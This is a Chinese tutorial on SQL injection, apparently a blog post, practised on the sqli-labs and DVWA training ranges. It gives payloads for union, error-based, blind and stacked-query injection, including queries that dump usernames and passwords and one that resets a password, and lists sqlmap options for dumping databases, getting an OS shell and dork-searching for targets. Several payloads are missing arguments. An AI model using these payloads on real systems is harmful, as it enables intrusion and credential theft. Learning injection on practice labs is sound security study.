SQL注入:

  • 简介:

    • 全称Structured Query Language,即结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。也被作为关系式数据库管理系统的标准语言。
  • 原理:
    • 在用户可控的参数中,注入SQL语法,破坏原有的SQL语句,达成编程时意料之外结果的攻击行为,实现与数据库的非法交互。
  • 分类
    • 从数据类型:

      • 数字型:注入的数据,拼接到SQL语句中是以数字型数据存在,简单理解就是两边没有被单引号、双引号包括。
      • 字符型:被各种符号包裹着。
      • 如:

        select * from news where id=1;
        select * from news where id='1';
        select * from news where id="1";
        select * from news where id=('1');

    • 从注入手法:
      • 联合查询注入 UNION query SQL injection
      • 报错注入 Error-based SQL injection
      • 布尔注入 Boolean-based blind SQL injection
      • 延时注入 Time-based blind SQL injection
      • 堆叠查询  Stacked queries SQL injection
  • 注入点判断:
    • 尝试闭合,输入单引号或双引号等
    • ?id=111-1/+1,若有返回数据,可以判断存在数字型,比较少见
    • and 1 = 1/ 1=2
    • ‘ or 1=1#
    • 等等等等,其实注入点判断有很多种,毕竟现在都架起了各种waf,安全意识都增强了,这种漏洞也都被修复,或者被保护了。

以下测试环境为sqllab和dvwa靶场

联合查询:

  • 判断当前表中的字段(列)个数  ' order by 3--+
  • 查看显示位:
' union select 1,2,3--+
  • 查看数据库名
union select ,,database()--+
  • 查看表名
union select ,,(select group_concat(TABLE_NAME) from information_schema.TABLES(mysql内建库) where TABLE_SCHEMA=0x7365637572697479(数据库名16进制转码))
  • 查看字段
union select ,,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x7365637572697479(数据库名) and TABLE_NAME=0x7573657273(表名))--+
  • 查看数据
union select ,,(select group_concat(concat(username, password)) from security.users)--+

报错注入:

  当页面存在报错信息时

  • 公式1
extractvalue(,concat('^',(查询的内容),'^'))
?id= and extractvalue(,concat(0x5e,(select database()),0x5e)) --+
  • 公式2
updatexml(,concat('^',(查询的内容),'^'),)
?id= and updatexml(,concat(0x5e,(select versoin()),0x5e),) --+
?id= and updatexml(,concat(0x5e,(select concat(username,0x3a,password) from cms_users limit ,),0x5e),) --+
  • 公式三

?id=1 and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

布尔盲注:

  ?id=33 and 1=1 / 1=2--+ 返回状态不同,说明存在布尔注入

  • 判断查询内容的长度  

    ?id= and length(database())>
    ?id= and length(database())=
  • 按位查询字符
    ?id= and ascii(substr((select database()),,)) =
    ?id= and ascii(substr(database(),,)) =

延时注入:

  and sleep(5)--+ 查看返回的时间长度,但易受网络波动。

?id= and if(ascii(substr(current_user(),,)) =,sleep(),) --+

堆叠查询:

  同时执行多条SQL语句,简单举例:将用户id=1的密码重置为123456

?id=-';update users set password='' where id=1; --+

SQLMAP的使用:

  将以上及更多的注入手法集成到了sql自动化注入工具sqlmap中。对它的基本参数还是要熟悉的。

  • -u 检测注入点
  • --dbs 列出所有数据库的名字
  • --current-db 当前数据库的名字
  • -D 指定数据库
  • --tables 列出说有表的名字
  • -T 指定一张表
  • --columns 列出所有字段的名字
  • -C 指定字段
  • --dump “脱库”
  • -u "shownews.asp" --cookie "id=2" --level2 cookie 注入
  • -u "url" --forms 自动检测表单
  • -r post.txt 从文件读取http 请求
  • --os-shell 获取shell
  • sqlmap -g "inurl:php?id=" 利用google 自动搜索注入点

  

总结:

  SQL注入原理很简单,利用起来方式很多;sqllab,dvwa这些简单的针对性靶场对sql注入的理解很有作用。起初黑客利用十分方便,但现在网站防护更严格了,就又产生了各种过滤。这里又要牵扯出很多知识。学无止境啊。

常见web漏洞的整理之SQL注入的更多相关文章

  1. Web攻防之XSS,CSRF,SQL注入

    摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...

  2. Web攻防之XSS,CSRF,SQL注入(转)

    摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...

  3. 十大常见web漏洞及防范

    十大常见web漏洞 一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了 ...

  4. 绕过WAF进行常见Web漏洞利用

    前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...

  5. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  6. 常见的 CSRF、XSS、sql注入、DDOS流量攻击

    CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...

  7. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  8. web攻击与防御技术--SQL注入

    sql注入是WEB安全中比较重要而复杂的一个东西.而且危害性比较大. 一般来讲SQL注入的话首先要识别注入点.一个是看能不能注入另外一个是看是什么类型的注入比如说字符,数字,搜索(?)等等 GET.P ...

  9. web安全测试&渗透测试之sql注入~~

    渗透测试概念: 详见百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsR ...

随机推荐

  1. 文献名:Repeat-Preserving Decoy Database for False Discovery Rate Estimation in Peptide Identication (用于肽段鉴定中错误发生率估计的能体现重复性的诱饵数据库)

    文献名:Repeat-Preserving Decoy Database for False Discovery Rate Estimation in Peptide Identication (用于 ...

  2. Spark在Windows环境下的配置

    1.下载 下载地址:http://spark.apache.org/downloads.html. 选择下面版本下载. 2.操作流程:https://blog.csdn.net/nxw_tsp/art ...

  3. Linux中cache和buff的区别

    两者都是:缓冲区 cache是存在于cpu和内存之间的缓冲区,存放的是从disk上读取到的数据 buff是用于存放要输出到块存储的数据 清除缓冲的方法 [root@DD-Server-9F ~]# e ...

  4. 《利用Hyper-V搭建虚拟机》一篇管够,持续更新

    开门见山:win10+Hyper-V+ContOS7.X 万物皆有目的:没钱买云服务器,但平时在家想持续学习,可以考虑在自己windows上搭建一台虚拟机,然后装上Linux,调试通网络进行开发. 涉 ...

  5. STM32CubeMx——串口使用DMA收发

    用到的是DMA发送数据,接收还是普通的串口接收. 一.代码生成 1.按以前的方法设置好时钟和调试方式,这里就不多说了. 2.设置串口1. 3.在DMA Setting里点击Add添加USART1_TX ...

  6. AC自动机(初步学习)

    一开始讲AC自动机就是在字典树上做一个KMP,吓得我感觉好难,不过了解了以后,感觉也就是有点难度,不吓人. 它只是在字典树上用了KMP的思想 典型问题:给n个模式串和一个文本串,问有多少个模式串在文本 ...

  7. 403 Invalid CORS request 跨域问题

    5.跨域问题 跨域:浏览器对于javascript的同源策略的限制 . 以下情况都属于跨域: 跨域原因说明 示例 域名不同 www.jd.com 与 www.taobao.com 域名相同,端口不同 ...

  8. CodeForces - 817B(分类讨论 + 排列组合)

    题目链接 思路如下 这一题是:最菜的队伍只有三个人组成,我们只需对排序后的数组的 前三个元素进行分类讨论即可: a[3] != a[2] && a[3] != ar[1] a[3] = ...

  9. java编写规范

    编码规范 转载于:https://www.cnblogs.com/ftl1012/p/javaCode.html 1 前言为确保系统源程序可读性,从而增强系统可维护性,java编程人员应具有基本类似的 ...

  10. 微信号网页版api

    Django Wechat Api djangowechatapi是基于wxpy和django制作的web应用 安装 使用pip pip install djangowechatapi 源码安装 gi ...